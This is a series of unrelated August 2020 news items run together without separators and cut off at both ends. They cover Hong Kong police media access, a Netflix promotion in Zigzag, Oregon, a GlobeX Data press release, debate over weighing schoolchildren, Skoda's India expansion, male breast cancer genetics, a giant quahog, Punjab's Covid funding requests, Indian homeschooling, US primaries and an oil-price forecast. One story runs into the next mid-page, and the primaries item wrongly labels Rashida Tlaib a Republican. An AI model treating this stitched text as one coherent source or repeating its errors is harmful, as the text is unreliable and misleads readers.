compromising operation effectiveness, Police have all along endeavoured to facilitate the media's reporting work. To meet operational needs, Police conveyed that it will set up cordoned-off zones during law enforcement operations and facilitate media in performing their reporting work outside the cordoned-off areas. In recognition of the public's concerns about a law enforcement operation in Tseung Kwan O yesterday, the Police Public Relations Branch actively communicated with the frontline commander in charge of the operation. Through the co-ordination of the Force Media Liaison Cadre at the scene, some media organisations including television, radio and newspapers gained access to the cordoned-off zones to cover the operation from a better vantage point, thereby enhancing the transparency of police work. Police added that they fully acknowledge that some media organisations or reporters have different views on this trial arrangement and will review and improve the measures in the future after listening to the medias views. This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. When it comes to making fun of the names of towns in Oregon, were all used to out-of-staters having a laugh over Boring, the unincorporated community in Clackamas County that has inspired a tongue-in-cheek alliance with the towns of Dull, Scotland, and Bland Shire, New South Wales in Australia. But Zigzag? Sure, it may be more of a wide spot in the road than a thriving metropolis, and, like Boring, its an unincorporated community in Clackamas County. It may not be Wemme, or Welches. Or even Rhododendron, for that matter. But Zigzag is, according to the The Oregon Encyclopedia, a member in good standing of whats known as the Villages of Mount Hood. Travel Oregon sings the praises of Zigzags scenic location: Located along the Mt. Hood Scenic Byway next to the Sandy River, Zigzag has plenty of campsites and trailheads. Stop at the ranger station for tips on the best hiking, fishing, mountain biking, horseback riding, berry picking, mushroom hunting and camping. You might find the stunning 120-foot Ramona Falls along the way. The sign at the trailhead for the Zigzag Mountain west hike, found at the end of East Mountain Drive off East Lolo Pass Road, near the Zigzag Ranger Station of the Mount Hood National Forest. LC- Jamie Hale/The OregonianLC- Jamie Hale/The Oregonian Natural splendors aside, the folks at Netflix evidently think Zigzag has a funny name. Not just a funny name, but one of the funniest small town names in America. Thats according to press information about a promotion tied to Netflix Is a Joke, the streaming services brand name for its stand-up specials, comedy series, and more. Apparently, as part of the Netflix Is a Joke promo campaign, Netflix is visiting towns with the funniest names in America, and Zigzag was lucky (?) enough to make the cut. That means that on Wednesday, Aug. 12, a Netflix-branded truck will be in Zigzag, and residents can look for a number on the back, then text the number to receive a free month of Netflix streaming service. Netflix is also promising to pick up the tab for all to-go orders from the Zigzag Mountain Cafe, throughout the day on Wednesday. What other towns have names Netflix deemed amusing enough to include in this promotion? According to the press info, the communities of Hell, Weed, Knockemstiff, Climax, No Name, Smackover, Sandwich and Peculiar also make the list. Related: Zigzag Mountain is a tough hike with a gorgeous Mount Hood view Subscribe to our What to Watch newsletter. Email: kturnquist@oregonian.com 503-221-8227 @Kristiturnquist Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. TORONTO, ON / ACCESSWIRE / August 11 2020 / GlobeX Data Ltd. (OTCQB:SWISF) (CSE:SWIS) ("GlobeX" or the "Company"), the leader in Swiss hosted cyber security and Internet privacy solutions for secure data management and secure communications, is pleased to announce that it has signed its second distribution agreement in the Commonwealth of The Bahamas. The agreement was signed with Prime Technology Services Ltd. of Nassau, Bahamas. This is the second distribution agreement signed by GlobeX in the Bahamas, as the Company is increasing its footprint in anticipation of its Sekur solution launch. Prime Technology Solutions was introduced to GlobeX by its Exclusive Master Distributor, Sebastian Alliance Group LLC. Alain Ghiai, CEO of GlobeX Data said: "We are very pleased to have signed up Prime Technology Services as we are expanding our footprint in the Bahamas. The Bahamas is one of the world's most important financial centers and it is important for GlobeX to be present and offer our secure communications and data protection solutions to financial institutions and other data sensitive businesses and government institutions. Recently, we have been honored with the prestigious distinction of 50 Best Companies to Watch 2020 by The Silicon Review and this is a testament to our relentless efforts to achieve technological excellence and our dedication to provide the best solutions for security and privacy of data and communications. We are excited to bring this technology to The Bahamas and we will continue to work hard in order to implement our prime directive, which is to protect the data and communications of all our subscribers. GlobeX's Data privacy solutions are all hosted in Switzerland, protecting users' data from any outside data intrusion requests. In Switzerland, the right to privacy is guaranteed in article 13 of the Swiss Federal Constitution. The Federal Act on Data Protection ("FADP") of 19 June 1992 (in force since 1993) has set up a strict protection of privacy by prohibiting virtually any processing of personal data which is not expressly authorized by the data subjects. The protection is subject to the authority of the Federal Data Protection and Information Commissioner. Under Swiss federal law, it is a crime to publish information based on leaked "secret official discussions." In 2010 the Federal Supreme Court of Switzerland found that IP addresses are personal information and that under Swiss privacy laws they may not be used to track Internet usage without the knowledge of the individuals involved. About GlobeX Data Ltd. GlobeX Data Ltd. is a Cybersecurity and Internet privacy provider of Swiss hosted solutions for secure data management and secure communications. The Company distributes a suite of secure cloud-based storage, disaster recovery, document management, encrypted e-mails, and secure communication tools. GlobeX Data Ltd. sells its products through its approved wholesalers and distributors, and telecommunications companies worldwide. GlobeX Data Ltd. serves consumers, businesses and governments worldwide. On behalf of Management GLOBEX DATA LTD. Alain Ghiai President and Chief Executive Officer +1.416.644.8690 corporate@globexdatagroup.com For more information please contact GlobeX Data at corporate@globexdatagroup.com or visit us at https://globexdatagroup.com. For more information on Sekur visit us at: https://www.sekur.com. Forward Looking Information This news release contains certain forward-looking information within the meaning of applicable Canadian securities laws ("forward-looking statements"). All statements other than statements of present or historical fact are forward-looking statements. Forward-looking statements are often, but not always, identified by the use of words such as "anticipate", "achieve", "could", "believe", "plan", "intend", "objective", "continuous", "ongoing", "estimate", "outlook", "expect", "project" and similar words, including negatives thereof, suggesting future outcomes or that certain events or conditions "may" or "will" occur. These statements are only predictions. These statements reflect management's current estimates, beliefs, intentions and expectations; they are not guaranteeing future performance. GlobeX cautions that all forward-looking statements are inherently uncertain and that actual performance may be affected by a number of material factors, many of which are beyond GlobeX's control. Such factors include, among other things: risks and uncertainties relating to the future of the Company's business; the success of marketing and sales efforts of the Company; the projections prepared in house and projections delivered by channel partners; the Company's ability to complete the necessary software updates; increases in sales as a result of investments software development technology; consumer interest in the Products; future sales plans and strategies; reliance on large channel partners and expectations of renewals to ongoing agreements with these partners; anticipated events and trends; the economy and other future conditions; and other risks and uncertainties, including those described in GlobeX's prospectus dated May 8, 2019 filed with the Canadian Securities Administrators and available on www.sedar.com. Accordingly, actual and future events, conditions and results may differ materially from the estimates, beliefs, intentions and expectations expressed or implied in the forward-looking information. Except as required under applicable securities legislation, GlobeX undertakes no obligation to publicly update or revise forward-looking information. SOURCE: GlobeX Data Ltd. View source version on accesswire.com:https://www.accesswire.com/601126/GlobeX-Data-Signs-Agreement-with-Prime-Technology-Services-Ltd-in-The-Bahamas Jameela Jamil has joined the legions of people slamming the idea of weighing children when they return to school, suggesting it could lead to eating disorders. The British-born actress and model, 34, was replying to a tweet by the Jeremy Vine show who had a call-in to debate the subject. Yesterday's episode of the Channel 5 show, hosted by Anne Diamond, discussed the the National Obesity Forum call to have all school children weighed when returning to class in September, and then again in spring to encourage them to lose weight they may have put on in lockdown. More than 15,000 people replied to the tweet, many saying it was 'dangerous' and 'could encourage eating disorders'. 'Should schools weigh pupils to make sure they shift the pounds they've put on during the lockdown? 'Health experts want two weigh-ins in September and then in the spring to keep kids on track. But could this just create a generation of calorie counters?' the tweet read. Jameela Jamil has joined the legions of people slamming the idea of weighing children when they return to school, suggesting it could lead to eating disorders. She is pictured in 2020 at the Grammy's in LA 'Hard pass. Being weighed at school was truly the minute my eating disorder started at 12. 'I can trace it back to that exact day. Understand that size is not an indicator of health and just teach children about nutrition, make exercise fun and stop serving them dogs**t at lunch,' Jameela wrote. In another tweet replying to a fan she wrote: 'I was heaviest in the whole year. So my name and weight was put at the TOP of a board in class. 'See also: The BMI can f**k off too,' she added. BMI is used by many medics to show if people are a healthy weight for their height, but it's controversial because it doesn't account for weight which is held in muscle, meaning world-class healthy athletes are recorded as 'obese'. Many experts have criticised this fairly limited measure of the health of weight, yet it still remains the most popular way for most people to judge a healthy weight, and is used by the NHS. Yesterday's episode of the Jeremy Vine's Channel 5 show, hosted by Anne Diamond, discussed the the National Obesity Forum call to have all school children weighed when returning to class in September, and then again in spring to encourage them to lose weight they may have put on in lockdown. Jeremy is pictured on a previous episode The British-born actress and model, 34, was replying to a tweet by the Jeremy Vine show who had a call-in to debate the subject. Yesterday's episode of the Channel 5 show, hosted by Anne Diamond, discussed the the National Obesity Forum call to have all school children weighed when returning to class in September, and then again in spring to encourage them to lose weight they may have put on in lockdown WHAT IS BMI, HOW DO YOU CALCULATE IT AND WHY IS IT CONTROVERSIAL? Body mass index (BMI) is a measure of body fat based on your weight in relation to your height. Standard Formula: BMI = (weight in pounds / (height in inches x height in inches)) x 703 Metric Formula: BMI = (weight in kilograms / (height in meters x height in meters)) Measurements: Under 18.5: Underweight 18.5 - 24.9: Healthy 25 - 29.9: Overweight 30 or greater: Obese Why is it controversial? BMI takes into account natural variations in body shape, giving a healthy weight range for a particular height. Muscle is much denser than fat, so very muscular people, such as heavyweight boxers, weight trainers and athletes, may be a healthy weight even though their BMI is classed as obese. Many experts have criticised this fairly limited measure of the health of our weight, yet it still remains the most popular way for most people to judge a healthy weight. Because BMI only considers height and weight, it overlooks these factors. Many nutritionists now argue that body fat percentage and body composition are a better sign of health that the figure on the scales. Advertisement On the show columnist Ash Sarkar and former Brexit Party MEP Martin Daubney - neither of whom have expertise in health or education - appeared in the London studio and discussed children returning to school after lockdown, and obesity. Daubney argued for the proposal, saying many parents will ignore their children's weight. 'I am in favour of this. I have two kids, both of which were weighed. My boy is tall and big-boned and came in as obese. He doesn't look it. 'It is a potential oversight of this but actually as myself and my partner who is a TA, so she works in this environment. Many agreed with Jameela and Sarkar's comments, saying it could be damaging to children's mental health 'You know one-third of kids are now starting secondary school obese as reports say, now that is a problem. 'And we have to accept now that obesity kills more than smoking in the UK. We worry more about feelings over facts,' he added. Sarkar disagreed, arguing: 'It didn't make your kids feel shamed and that's great but I have spoken about it before, but I have a difficult relationship with body image, weighing myself a lot, having a sense that people were looking at me and judging me a lot. 'It gave me such, not just a bad relationship with food but terrible relationship to exercise. What I am saying is that these things can be counter-productive.' Many agreed with Jameela and Sarkar's comments, saying it could be damaging to children's mental health. It is not the first time that Jameela has spoken out about her eating disorder and body image struggles. Speaking last year about starring on the cover of British Vogue's September issue, which was guest-edited by Meghan Markle, Jameela said she would 'starve herself' as a child Beat, the eating disorder charity, tweeted: 'It is vital that children are not shamed into losing weight in an attempt to solve this,' adding that young people should learn about public health not public shaming. 'If you're worried about a pupil or a loved one, please use our guidance on spotting the signs of an eating disorder and get help as soon as possible,' they added. 'Eating disorders have the highest mortality rate of any psychiatric disorder,' said another. 'Exercise & education, to kids and parents. This is absurd, dangerous and reckless and the consequences are vast' wrote one. Many Twitter users said the idea is dangerous for children, and could be detrimental to their mental health Vlogger Carrie Rose Fletcher added: 'Is giving children a complex about their weight which may lead to bullying from their peers, eating disorders and life long struggles with their bodies...a good idea? No. No it's bloody not. Another added: 'Heath experts" would know how normal it is to gain weight during a pandemic (or any time), that gaining weight is okay and a persons weight isn't tied to their health. 'They'd also know that kids doing mandatory weigh-ins would increase eating disorders x100. This is fatphobic as f**k It is not the first time that Jameela has spoken out about her eating disorder and body image struggles. Speaking last year about starring on the cover of British Vogue's September issue, which was guest-edited by Meghan Markle, Jameela told Today: 'I remember being a teenage model when I was 15 starving myself thinking that would bring me success or something like a cover of Vogue,' 'And it's so amazing to find myself, 20 years later, and 30lbs. heavier, actually being on the cover.' By Express News Service BENGALURU: Skoda Auto India said on Tuesday that it is planning to double its network penetration in Indian markets by expanding to 50 new cities in the next three years. The Czech auto manufacturer said that under the 'INDIA 2.0' project, it will have at least twice as many sales and service touchpoints as it does today by 2022. The carmaker also announced its third dealership facility in Bengaluru, PPS Motors, as a part of its campaign to gain a strong foothold in southern markets. The sales facility sprawls over an area of 4,500 square feet and can feature at least four cars on display. ALSO READ | Lockdown woes: Chennai autodriver shifts to selling fish A dedicated service workshop, located at 35, Kranthikavi Sarvagna Road, Sreerampuram, Okaluipuram, is spread across 18,000 square feet and houses ten mechanical stations and body shop bays. With 75 trained personnel, PPS Motors has a capacity to service 5,500 plus SKODA AUTO vehicles per annum, the company said in a statement. The auto giant has also rebranded its entire network of 83 sales and 58 service touchpoints across 69 cities across the nation. The Czech brand has invested over Rs 1200 million, along with its dealer partners, in the biggest rebranding campaign in its history in India. "To ensure preparedness for INDIA 2.0 launches, we at SKODA AUTO India are continually striving to expand our network reach, across the nation, so that not only more and more customers can experience our products but also enjoy easy access to our customer-centric aftersales solutions. Bangalore is a key market for us in South India, and we are confident that our partnership with PPS Motors will be pivotal for the brand and will further strengthen our foothold in Karnataka," Zac Hollis, Brand Director, SKODA AUTO India said. ALSO SEE: The variants have already been linked to female breast cancer, but researchers say they found these genetic changes to have a greater effect on the risk of the disease in men than in women. The scientists say their findings, published in the Journal of the National Cancer Institute, suggest breast cancer has similar genetic basis in both men and women and could lead to better risk testing for male cancer as well as development of new preventive drugs for those at high risk of the disease. Lead author Dr Nick Orr, who led the research at The Institute of Cancer Research, London, said: There has been much debate about whether breast cancers in women and men are distinct from one another. Our study has shown, for the first time, that the genetic factors influencing susceptibility to male breast cancer and the most common type of female breast cancer are much more alike than they are different. Our findings suggest that the underlying biology that affects how breast cancer develops and grows are probably similar in men and women Advertisement Our findings suggest that the underlying biology that affects how breast cancer develops and grows are probably similar in men and women. This means that advances in prevention and treatment for the disease may be of benefit to all patients, irrespective of their gender. The exact cause of breast cancer in men is not known, but there are some things that increase the risk of getting the disease, such as inheriting faulty versions of genes called BRCA1 or BRCA2 or conditions that can increase the level of oestrogen in the body. Breast cancer is rare in men there are about 350 men diagnosed each year in the UK, compared to around 55,000 cases in women. The research, which was funded in part by Breast Cancer Now, involved scientists from The Institute of Cancer Research and Queens University Belfast. The team analysed data from 1,380 men with breast cancer in what is thought to be the largest genetic study of male breast cancer to date. They compared the genomes, or the genetic material, of these men, to 3,620 men without the disease. This study, which shows more of a similarity between the genetic causes of the disease in men and women than previously thought, is a major step forward The scientists found three genetic changes, called rs9371545, rs554219 and rs78540526, was associated with increased risk of male breast cancer by 47%, 45% and 61% respectively. In addition, the study showed men at the greatest genetic risk were almost four times more likely to develop breast cancer than those at lowest risk. The researchers said they also found a strong correlation between the genetic risk factors of male and female breast cancer, with 20% of the changes that influence the risk of breast cancer in women also having a similar effect on male breast cancer risk. Dr Simon Vincent, director of research, services and influencing at Breast Cancer Now, said: This study, which shows more of a similarity between the genetic causes of the disease in men and women than previously thought, is a major step forward. Our knowledge of breast cancer in men is limited, because male breast cancer is rare which makes it difficult to collect enough tissue or blood samples to research and understand the disease. He added: We now look forward to further research into the shared genetic causes of male breast cancer which could lead to developing risk reducing treatments and interventions to help prevent more cases among those at increased risk in the future. NARRAGANSETT, R.I.An 11-year-old Rhode Island boy clamming with his grandfather found a giant quahog that is thought to be one of the largest ever harvested in state waters. Cooper Monaco, of Wakefield, found the massive mollusk Monday in the Weekapaug section of Westerly, and donated it to the University of Rhode Islands Marine Science Research Facility in Narragansett, the university said in a statement Thursday. The clam is 5.75 inches (14.5 centimeters) across and weighs nearly 2 1/2 pounds (1.3 kilograms). The state Department of Environmental Management does not keep quahog records, but a typical quahog grows to about 4 inches (10 centimeters) across, the university said. I was down on my hands and knees in the water looking for clams, and I touched this huge rock thing, Cooper said in the statement. I always pull out rocks and throw them to the side and look under them. And then I felt the edge of it and I thought, holy moly, this is a clam. So I pulled it out. It was amazing. He knew it was unusually large, so told his mother not to cook it. Ed Baker, the manager of the URI Marine Science Research Facility, plans to put the quahog on display. She left her job as a presenter at the E! Network in December last year. And Ksenija Lukich looked carefree while meeting a friend for lunch at Bondi Beach recently. The 30-year-old TV star was radiant as she strolled along the promenade at the famous beach spot, before grabbing a bite to eat. Gorgeous and glowing! Former E! Star Ksenija Lukich looked radiant makeup free as she stepped out in activewear to meet a friend for lunch at Bondi Beach recently The brunette beauty opted for cosy attire - a stylish grey P.E Nation hoodie paired with a black tights. She finished her outfit with a pair of oval sunglasses and black Nike runners. Comfortable and chic: The brunette beauty opted for cosy attire - a stylish grey P.E Nation hoodie paired with a black tights The TV star went makeup free and wore her long brunette tresses down, allowing them to cascade past her shoulders. Ksenija is a household name thanks to her five-year hosting role with E! Australia. The network announced her resignation in a statement to The Daily Telegraph in December last year. Time for lunch: Later, Ksenjia was seen strolling to a cafe with a female friend Stepping down: Ksenija announced her resignation as host of E! Australia after five years in December last year 'Ksenija has decided that after five years with E! Australia, she will step down from her hosting duties with the channel,' a spokeswoman told the newspaper. 'Over the past five incredible years with E!, Ksenija has loved every second and has interviewed some of the world's biggest stars. 'Forever, Ksenija will be indebted to NBC for the opportunities she's been given.' Chandigarh: Amid a surge in Covid cases and 50% revenue decline for the first quarter of this fiscal in Punjab, chief minister Captain Amarinder Singh on Tuesday urged Prime Minister Narendra Modi to release a liberal financial package for states to fill the collection gap caused by the pandemic besides flexibility on Covid-related terms of expenditure in SDRF. During a video-conference meet of the Prime Minister with chief ministers of some states to review the Covid situation, Captain Amarinder Singh said the current cap of 35% in the State Disaster Relief Fund (SDRF) for Covid-related expenditure, according to home ministry guidelines, is not sufficient to meet the present requirement. Citing the states rising number of Covid cases, which have gone up to 24,891 with 604 deaths, the chief minister urged the Prime Minister to review the UGC decision on mandatory exams for exit classes to be held by September 30. Punjab may not be in a position to conduct exams in September as it may be facing its peak at that time, he said, suggesting promoting students on past performance and internal assessment, with the option to take exams later for those wanting to improve their performance. He sought the Centres assistance for online school education, especially for students of Classes 10 and 12 from needy families. More money is needed for creating infrastructure to support online education, he added. NEED TO SCALE UP TESTING Though Punjab is conducting 23,000 tests per million for Covid (higher than the national average), and planned to increase RT-PCR tests from 12,000 to 20,000 in the next 15 days, it needs to scale up the testing capacity further, the chief minister said. He requested the Prime Minister to direct the central government institutions in Chandigarh and Punjab to increase testing capacity. Expressing concern over the states mortality rate of 2.4%, Captain Amarinder Singh said though it was lower than the all-India deaths per million and 91% of the fatality cases were with co-morbidity, it was still higher than neighbouring Haryana. Patients were coming to hospitals late and 86% deaths were occurring in tertiary hospitals. BOOSTER FOR INFRASTRUCTURE The chief minister thanked the Centre for accepting Punjabs proposal to set up a National Institute of Virology for the north zone and said the state government will soon give 25 acres for the institute to the ICMR for the purpose. He requested immediate operationalisation of Covid testing and treatment at AIIMS, Bathinda, where OPDs are functional, and said this will be useful for the people of southern Punjab. Noting that PGI, Chandigarh, is a premier tertiary care facility for Punjab, he also sought increase in the bed capacity at the hospital and strengthening of the existing PGI satellite centre at Sangrur, especially for Covid treatment. He urged the Centre to start work on the newly sanctioned PGI satellite centre in Ferozepur. While of the three sanctioned medical colleges, the one at Mohali will start classes this year but more such institutions are needed, Capt Amarinder Singh said, requesting for new colleges in the aspirational districts of Gurdaspur, Sangrur and Moga. LUDHIANA, JALANDHAR AND PATIALA HAVE MOST CASES On the Covid situation in the state, he said it had seen cases go up from 500 to 1,000 in two weeks, with the positivity rate of the last five days at 8.73%. The majority of cases were coming from Ludhiana, Jalandhar and Patiala, though cases were increasing in all districts. The number of micro-containment zones are being increased in the three high-incidence districts. To augment its fight against Covid, the state has opened plasma banks in Patiala and Amritsar, with another set to open soon in Faridkot. Defence minister Rajnath Singh and health minister Dr Harsh Vardhan also participated in the meeting. by Biju Veticad At least 15,000 families have chosen this method of education because of lower costs for large families and greater interest and involvement in childrens education. With parents and tutors as educators, greater attention is paid to childrens own aptitudes and their families specific religious or cultural visions. The Santvana community offers one example. New Delhi (AsiaNews) - Home-schooling has a long history in India. Now it is undergoing a boom, and not only because of the COVID-19 pandemic, which has forced students to follow online classes. During the period of lockdown, when classes started online, many parents found out about homeschooling, said Veronica, a pioneer in home-schooling, speaking to AsiaNews. Now we are receiving different enquiries about it. Veronica is a university student in journalism, and a member of Santvana (consolation), a lay missionary community, legally approved by the archbishop of Delhi. Headquartered in the federal capital, it has branches in other states, like Uttar Pradesh, Tamil Nadu, and Kerala. All the children (about 15) of the members of the Santvana community are into home-schooling. Veronica studied under this system until high school (Grade 12). Home-schooling is nothing new, but it went through a renaissance in the 1960s and 1970s, when educational reformers were dissatisfied with the quality of mass education in industrial cities. Home-schooling, also known as home education, educates children at home or in a variety of places other than public schools. In this non-formal system, parents, tutors and students themselves are the educators. By promoting self-learning, this system allows students to focus on the issues most related to their tastes and preferences. Many online groups like Alternative schoolers and Homeschoolers in India support this system with most of their members in Indias main cities. Other groups exist online, including Alternative Education India, Pune Homeschoolers, Swashikshan-Indian Association of Homeschoolers, the Cascade Family Learning Society, and the Society for Home Schooled Children in Chennai. In addition to online resources, home-schooling advocates hold conferences and meetings. They also offer apprenticeships, as well as many other group activities to share skills and knowledge on a regular basis. Many home schoolers follow the standard curricula set by the Central Board of Secondary Education, the National Institute of Open Schooling (NIOS), or International General Certificate of Secondary Education (IGCSE). Apparently, IGCSE and NIOS are the most popular. Like other Santvana members, Veronicas parents Alexy and Shiny Pallan opted for home-schooling for two main reasons, namely the high cost of education for large families, and the increased involvement in their childrens education and development. Some Santvana families chose home-schooling to better monitor what their children learn and how they are educated. The system is aimed at better catering to childrens aptitudes and abilities, to provide an education from a specific religious or moral position, and to take advantage of the efficiency of one-to-one learning between educator and pupil. By following the home-schooling system, I and my four siblings were able to focus on our interest areas and could gather basic knowledge in all the secular subjects like mathematics, science, geography etc., Veronica told AsiaNews. Home schoolers take the same Grade 10 to 12 exams as students in public schools. More than 15,000 families in India follow the home-schooling system, said Jini Lobo, an organiser for the Santvana community in Mysore (Karnataka), speaking to AsiaNews. The COVID-19 pandemic pushed many parents to choose home schooling for their children, she explained. At present, Many families are approaching us to know more about the system in order to understand the admission procedures. In her view, the number of home-schoolers is bound to rise after COVID-19. She and her colleagues are preparing to expand their mission into all their communities. Primary elections are being held on Tuesday in Minnesota, Georgia, Connecticut, Vermont and Wisconsin. The big picture: Georgia and Wisconsin both struggled to hold primaries during the coronavirus pandemic, but are doing so again testing their voting systems ahead of the general election. Rep. Ilhan Omar (D-Minn.) is facing a strong challenger as she fights for her political career. In Georgia, a Republican primary runoff pits a QAnon supporter against a hardline conservative. Races to watch: In Minnesota, Omar is facing off against Antone Melton-Meaux, a well-financed lawyer. If Omar loses, center-left Democrats can claim a rare win. They have consistently lost to more progressive challengers across the country, The New York Times writes. The race between Omar and Melton-Meaux again matches a progressive against a more moderate challenger a contest that's played out in other states to the benefit of progressives. Omar is the last member of "The Squad" to go through a primary challenge. Reps. Alexandria Ocasio-Cortez (D-N.Y.), Ayanna Pressley (D-Mass.) and Rashida Tlaib (R-Mich.) all sailed to victory. Both Melton-Meaux and Omar have labeled themselves as progressive, but the key divider is their stance on Israel. Omar has been outspoken against Israel, while Melton-Meaux has expressed his support. Omar won House Speaker Nancy Pelosi's endorsement last month, the Times notes. Of note: Omar has raised $4.2 million, and Melton-Meaux has just over $4.1 million in his war chest, according to the Federal Election Commission. In Georgia, Marjorie Taylor Greene and John Cowan will meet again, this time in a runoff to represent the state's 14th Congressional District. Both are hardline conservatives and supporters of President Trump in a district that is solidly red. The winner of Tuesday's contest is expected to win the seat in November. Greene has built a platform for herself as a gun-rights activist and QAnon supporter, a fringe group that pushes a pro-Trump conspiracy theory. More than a dozen candidates for Congress have now expressed support for QAnon. House Republicans have spoken out against Greene after videos of her making racist statements surfaced on Facebook. However, the party has done little to stop her success. House Minority Whip Steve Scalise (R-La.) is the only House GOP leader to help Cowan, Politico reports. The state of play: Greene is favored to win the runoff, per the Times. She won 40% of the vote on June 16 to Cowan's 21%. Republican Rep. Doug Collins has opted to run for Senate, leaving his seat open. State Rep. Matt Gurtler is facing off against Navy veteran Andrew Clyde in Georgia's 9th Congressional District, NPR reports. Nearly 60% of the state's counties are holding primary elections, but turnout still isn't expected to be high. Wisconsin's election system will be the real star of the night. It was the first state to hold a large, statewide election after a coronavirus surge in April, the Times notes. The state of play: About 95% of voting sites will be open in Milwaukee. The state has also called on the National Guard to be onsite to help in the case of poll worker shortages. Republican Rep. Jim Sensenbrenner is retiring from his seat in Wisconsin's 5th Congressional District. State Senate Majority Leader Scott Fitzgerald has Sensenbrenner's endorsement and faces off against Cliff DeTemple, a longtime military reservist, NPR reports. Connecticut is the last state to hold presidential primaries, days before Republican and Democratic parties prepare for their conventions. Thomas Gilmer dropped out of his Republican primary race after he was arrested Monday night. He has been charged with strangulation and unlawful restraint in connection with a "possible domestic assault," per the Times. Gilmer was to face off against Justin Anderson, a lieutenant colonel in the National Guard. The primary winner will face Democratic incumbent Rep. Joe Courtney. In Vermont, six-term incumbent Rep. Peter Welch (D) is running against Ralph Corbo for the Democratic nomination for the state's lone at-large House seat, The Burlington Free Press reports. The state will also be voting in primaries for governor and lieutenant governor. The market is gradually beginning to give credence to something I've been discussing in past OilPrice articles for a long time now. In a June, 2020 article entitled, Underinvestment Could Send Oil Prices Soaring, I argued how the retrenchment and lack of capital investment the industry has seen the past five-years would lead to shortages of crude eventually. The huge volume of Saudi overproduction exacerbated the equal largess in American shale for the past couple of years, and led to a glut of crude globally. EIA-WPSR The blue line shows weekly storage numbers beginning to edge back into the five-year range. We are now starting to work off this glut as noted in the weekly EIA petroleum status report above, and the day of reckoning I forecast in June is just around the corner, a few months hence at most. Even the news in July that OPEC+ would start restoring as much as two-million BOPD through the end of the year, failed to quiet the unease beginning to take hold in the market. News like that would have sent prices into the cellar in May, having left the current contracts above $41 for WTI and near $45 for Brent. Take the two bullets below to the bank. Supplies of crude oil are going to drop, just as demand is on the increase. Oil prices are going to continue advancing higher. In the rest of this article we will give a forecast of where we see end-of-year U.S. daily production and the impact that will have on prices for the two most closely followed benchmarks, WTI, and Brent. The Permian Focusing on the Permian as it alone accounts for over half of U.S. daily shale production, lets note the slope of the decline that began in March, and accelerated in April. EIA-914 Obviously, the dramatic drop in production from April to May was primarily a product of the shut-in campaign producers waged to try and lever prices higher. A campaign we'd have to call a success, as prices have risen from $12.34 to over $42 since April, 28th. Related: Alberta Missed Its Chance To Mint A Province Of Oil Millionaires June's 914 will probably show a moderation or even an increase as producers started to bring production back mid-month in June, and continued on into July as prices ramped. I think that will probably be it and production will start a sharp decline through the end of the year. I stick to my prediction of a shift in mentality from, "I can get all of the oil I want all of the time," to, "Where is my next load of oil coming from." That's my feeling for the start of Q-1, 2021. Key Bullish indicators for oil prices Drilling- no question, the continued decline in drilling in the USA has sealed the fate for shale, which is bullish factor number 1 for oil prices. Shale production has peaked and we will never again see shale production of over 9 mm BOPD. For the week ending Aug-7th the Baker Hughes rig count dropped slightly versus the week prior, continuing a five-month, largely uninterrupted trend down. What does this profound decline in drilling portend? From January to now we've lost ~550 rigs. At an average of 800 BOPD per rig that's 440K of new production we haven't seen. Legacy decline amounts to about 300K BOPD through May. Those two numbers together come to roughly 750K BOPD. With only 246 rigs adding to new production there is a gap of ~500K BOPD from drilling activity YoY alone. The problem of the high legacy decline will only accelerate as this year closes out, and 2021 dawns. Baker Hughes Russia- The outlier in the OPEC+ duopoly reported that its production had fallen 16% YoY. This suggests that it has been following its commitment in the current OPEC+ production cut. Cuts that are now being gradually restored. There had been a good bit of rumbling about whether Russia was sticking to this agreement. News that is has is bullish for the oil market. Libya - Years of political strife have wrought a toll on this OPEC producer. OPEC's Monthly Production report paints a gloomy picture with their production dropping from 1.1 mm BOPD last fall to 82K as of June. A lot of this loss is probably permanent as equipment is not being maintained, reservoirs are being damaged from water influx, etc. Venezuela - Oil production in this nearly-failed state has fallen to around 375K BOPD as of the end of June. In the last 20 years this country's oil production has dropped from ~3.5 mm BOPD to present levels. This situation is unlikely to resolve itself favorably in the upward direction anytime soon as the very last rig still drilling in the Orinoco has been laid down, as per this Forbes Article. OPEC+ - Sensing that their gambit to raise prices has been at least partially successful, has begun to restore production. This metric while not bullish in and of itself, is notable in the manner that this shut-in production will come back. With an eye toward gradually increasing oil demand for the rest of this year, OPEC+ will gradually add back about 2-mm BOPD through year-end. With ~5-months left to go this amounts to about 400K BOPD per month. This is helping to sustain the oil price rise as demand growth will easily absorb this amount. Source The Economy - The bullishness that overcame the market in June, and began to dissipate in July put a top on oil prices. Inventory builds that occurred then sent ambiguous signals into the market. As we go into August, what's becoming increasingly clear is we are adapting to this new reality faster than anyone thought possible. While the V shaped recovery is off the menu, we are recovering in terms of employment and overall business activity. Last the Wall Street Journal reported that 1.5 mm new jobs were added in July, dropping the unemployment rate to 10.6% of the working population. Related: Are Oil Majors Giving Up On Guyana? Key OFS - Companies are raising hopes for the future, as noted by Halliburton's CEO in their quarterly conference call, a gradual recovery was underway." A sentiment that was present in a number of conference calls for the second quarter. Covid-19 - The good news here tends to be lost in the higher infection rate noise of Q-2. The real story is that the mortality rate is much less than initially thought, and the really good news is that relief-real relief is in sight. I am talking of course about vaccine trials, as noted in a recent Wall Street Journal article. The news here is unreservedly bullish. Stimulus - The government basically fulfilled its function of stepping in in a number of ways to provide the trillions of dollars of stimulus and liquidity the market has demanded earlier this year. In my opinion more of this is needed, and I hope our political leaders can come together to provide it. There's a narrative about the amount of new debt that's been created. This narrative loses sight of the depth of decline small business has seen compared to bigger companies. A new PPP program is absolutely needed to avoid a severe recession. There is no doubt in my mind, the government will again shore up the economy with a program similar to the one prior. President Trumps recent Executive Orders are a good start. More will come. The Key Bearish indicator China- Demand from China has been one of the things that's helped to take excess oil off the market. Unofficial estimates made in a Reuters article suggest that China was responsible for about 3-mm BOPD of purchases in excess of their internal demand. Doing this while oil was really cheap to keep their costs low. Now that oil has doubled from March lows, there is a narrative these purchases may slow. The market can certainly absorb some oil in addition to what OPEC+ will be restoring, but how much is the question. Associated with that is the amount of floating oil stored in ports on tankers. Another recent Reuters article estimated that there were as many as 120 mm bbls waiting to be offloaded in Chinese ports. Outliers What could change the dynamic one way or the other is the lack of belligerence in the world currently. That could change at any time, and is impossible to predict. There is no war premium in oil currently. Iran which people have been saying was going to implode at any moment for the past year, still defies sanctions on its nuclear industry. My view is that while the world has been occupied for most of this year with Covid-19, as this begins to abate there will be renewed pressure on Iran. A war premium would add $50 a bbl to the oil price over-night. In a move to re-nationalize its oil reserves, Mexico seems to be moving to drive out 